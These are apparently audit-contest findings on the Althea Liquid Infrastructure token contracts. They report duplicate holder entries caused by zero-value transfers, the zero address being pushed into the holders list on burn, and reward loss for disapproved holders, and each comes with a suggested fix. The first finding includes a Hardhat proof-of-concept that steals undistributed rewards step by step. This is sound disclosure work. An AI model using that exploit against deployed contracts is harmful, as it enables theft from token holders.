Althea Liquid Infrastructure - matejdb's results

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L127-L146

Vulnerability details

Detailed explanation

If some user is an approved holder he can be added as many times as he wants into the holders array by someone or him transferring the amount 0 to him as long as he does not have any tokens already transferred to him - his balance must be 0 so this check in _beforeTokenTransfer can pass:

bool exists = (this.balanceOf(to) != 0);
if (!exists) {
    holders.push(to);
}

Next, when a distribution is happening he will be transferred tokens multiple times because the distribution mechanism loops through the holders array to distribute awards. This will work if some conditions are true - but thanks to the distribute(uint256) function being public - user can easily manipulate the call to benefit him.

See proof of concept.

Impact

User can steal funds from the contract due to the design of the distribution mechanism and because he can be added multiple times into the holders array.

Proof of Concept

We have rewritten some parts of the basicDistributionTests function in liquidERC20.ts.

First we changed the rewardAmount1 variable to 299 to better show the impact of the attack. Because of 299 divided by the total supply - 150 - the entitlement variable will equal 1.

This is done so after distribution there will be 149 of the tokens that will not be distributed.

Then they can be stolen by the same holder in the holders array by calling distribute(uint256) function with an argument big just enough to not revert on transferring ERC20 tokens.

That is why in this attack we call it with the value 4: 1st loop distributes 100 to holder1.address. 2nd loop distributes 50 to holder3.address

--bad part-- 3rd loop distributes 50 to holder3.address 4th loop distributes 50 to holder3.address

This happens because the holders array looks like this: [holder1 address, holder3 address, holder3 address, holder3 address, ...]

Also change holders array visibility to public instead of private.

async function basicDistributionTests(
  infraERC20: LiquidInfrastructureERC20,
  infraERC20Owner: HardhatEthersSigner,
  holders: HardhatEthersSigner[],
  nftOwners: HardhatEthersSigner[],
  nfts: LiquidInfrastructureNFT[],
  rewardErc20s: ERC20[]
) {
  const [holder1, holder2, holder3, holder4] = holders.slice(0, 4);
  const [nftOwner1, nftOwner2, nftOwner3] = nftOwners.slice(0, 3);
  let [nft1, nft2, nft3] = nfts.slice(0, 3);
  const [erc20a, erc20b, erc20c] = rewardErc20s.slice(0, 3);
  const erc20Addresses = [
    await erc20a.getAddress(),
    await erc20b.getAddress(),
    await erc20c.getAddress(),
  ];

  // Register one NFT as a source of reward erc20s
  await transferNftToErc20AndManage(infraERC20, nft1, nftOwner1);
  await mine(1);
  nft1 = nft1.connect(infraERC20Owner);

  // Allocate some rewards to the NFT
  const rewardAmount1 = 299;
  await erc20a.transfer(await nft1.getAddress(), rewardAmount1);
  expect(await erc20a.balanceOf(await nft1.getAddress())).to.equal(
    rewardAmount1
  );

  // And then send the rewards to the ERC20
  await expect(infraERC20.withdrawFromAllManagedNFTs())
    .to.emit(infraERC20, "WithdrawalStarted")
    .and.emit(nft1, "SuccessfulWithdrawal")
    .and.emit(erc20a, "Transfer")
    .withArgs(
      await nft1.getAddress(),
      await infraERC20.getAddress(),
      rewardAmount1
    )
    .and.emit(infraERC20, "Withdrawal")
    .withArgs(await nft1.getAddress())
    .and.emit(infraERC20, "WithdrawalFinished");

  // Attempt to distribute with no holders
  await expect(infraERC20.distributeToAllHolders()).to.not.emit(
    infraERC20,
    "Distribution"
  );

  // Grant a single holder some of the Infra ERC20 tokens and then distribute all held rewards to them
  await expect(infraERC20.mint(holder1.address, 100))
    .to.emit(infraERC20, "Transfer")
    .withArgs(ZERO_ADDRESS, holder1.address, 100);
  // we comment out this part so we can write our own custom distribution
  /*
  await expect(infraERC20.distributeToAllHolders())
    .to.emit(infraERC20, "DistributionStarted")
    .and.emit(infraERC20, "DistributionFinished")
    .and.emit(infraERC20, "Distribution")
    .withArgs(holder1.address, erc20Addresses, [rewardAmount1, 0, 0])
    .and.emit(erc20a, "Transfer")
    .withArgs(await infraERC20.getAddress(), holder1.address, rewardAmount1);
    */
  
    // attack
    // user is transferred 0 amounts so he can be added to holders array multiple times
    await infraERC20.transfer(holder3.address, 0);
    await infraERC20.transfer(holder3.address, 0);
    await infraERC20.transfer(holder3.address, 0);
    await infraERC20.transfer(holder3.address, 0);

    // check holders array - I've changed it to public just to test it
    const holdersOfToken0 = await infraERC20.holders(0);
    const holdersOfToken1 = await infraERC20.holders(1);
    const holdersOfToken4 = await infraERC20.holders(4);

    expect(holdersOfToken0).to.equal(holder1.address);
    expect(holdersOfToken1).to.equal(holder3.address);
    expect(holdersOfToken4).to.equal(holder3.address);

    // mint an amount of tokens to holder3
    await infraERC20.mint(holder3.address, 50);

    await mine(500);

    const balanceBefore = await erc20a.balanceOf(holder1.address)

    await infraERC20.distribute(4);

    const balanceAfter = await erc20a.balanceOf(holder1.address)

    expect(balanceAfter - balanceBefore).to.equal(100);

    // holder3 ends up with more tokens than holder1 even though he has half of the amount of tokens that holder 1 has
    expect(await erc20a.balanceOf(holder3.address)).to.equal(150);
}

Tools Used

Manual review, Hardhat

Recommended Mitigation Steps

Require the amount that is transferred to be above 0 - add this line in _beforeTokenTransfer function:

require(amount > 0, "Amount must be above 0");

OR: check if the address is already in the holders array.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L127-L146

Vulnerability details

Impact

Zero address is added to holders array during burning of tokens.

Malicious owner can disable distributions of the tokens by adding zero address to approved holders. Then the contract will try to distribute ERC20 token to zero address. ERC20 tokens can not be transferred to zero addresses therefore the protocol breaks.

Impact is medium since likelihood is LOW and impact is HIGH.

Proof of Concept

Make holders array public on LiquidInfrastructureERC20.sol just for tests. Add these lines to the end of basicDistributionTests on liquidERC20.ts.

    await infraERC20.connect(holder1).burn(1);
    const holder = await infraERC20.holders(1);
    expect(holder).to.eq(ZERO_ADDRESS)

Tools Used

Manual review, Hardhat

Recommended Mitigation Steps

Rewrite the _beforeTokenTransfer to look like the following - basically just adding a check to prevent zero address to be added to holders array during the execution of the hook.

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual override {
        require(!LockedForDistribution, "distribution in progress");
        if (!(to == address(0))) {
            require(
                isApprovedHolder(to),
                "receiver not approved to hold the token"
            );
        }
        if (from == address(0) || to == address(0)) {
            _beforeMintOrBurn();
        }
        bool exists = (this.balanceOf(to) != 0);
        if (!exists && to != address(0)) {
            holders.push(to);
        }
    }

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L116-L119

Vulnerability details

Details

Owner can remove an accepted holder:

    function disapproveHolder(address holder) public onlyOwner {
        require(isApprovedHolder(holder), "holder not approved");
        HolderAllowlist[holder] = false;
    }

When he does, he will not be distributed token awards when distribution is taking place:

if (isApprovedHolder(recipient)) {
    ...

Because of this the tokens can not be distributed but stay on the contract irretrievable.

If the token owner decides to transfer his tokens or sell them - if in the meantime 1 or 2 distributions take place - his tokens will be worth less because his rewards will not be accumulated on the contract but rather distributed evenly amongst other token holders. Basically his token awards gets distributed to other token holders because he was a disapproved holder when distributions took place.

This it makes it seem as though the rewards are not tied to tokens.

Impact

Some scenarios that we've detected that can arise:

1. Loss of token rewards altogether if disapproved token owner does not transfers them
2. Loss of rewards tied to the tokens because his rewards will distributed to all token holders later on - this is described in the PoC.

Proof of Concept

1. Three token holders (First has 10, second 40, third 50)
2. Third token holders loses his approved holder status
3. Two distributions take place - one of 10_000 USDT and second of 5_000.
4. Because the disapproved holder is skipped in distribution - the contract will accrue 7_500 USDT.
5. Third holder finally transfers his 50 tokens to someone who is an approved holder
6. Another 5_000 USDT is transferred to the contract to be distributed so now there is 12_500 USDT to be distributed.
7. Third token holder only receives 6_250 USDT

Third token holder in the end only receives 6_250 USDT although he could have received 7_500 (from first two distributions) and 2_500 (from last distribution). Basically these tokens lost 3_750 USDT.

This actually opens an incentive to the owner of the token contract to remove big token holder addresses from HolderAllowlist before a distribution to benefit smaller holders.

Tools Used

Manual review

Recommended Mitigation Steps

Rethink the rewards distribution mechanism to either:

• Immediately transfer disapproved token holders' tokens
• Accrue rewards tied to disapproved token holders' tokens so they can collect them later

Assessed type

Governance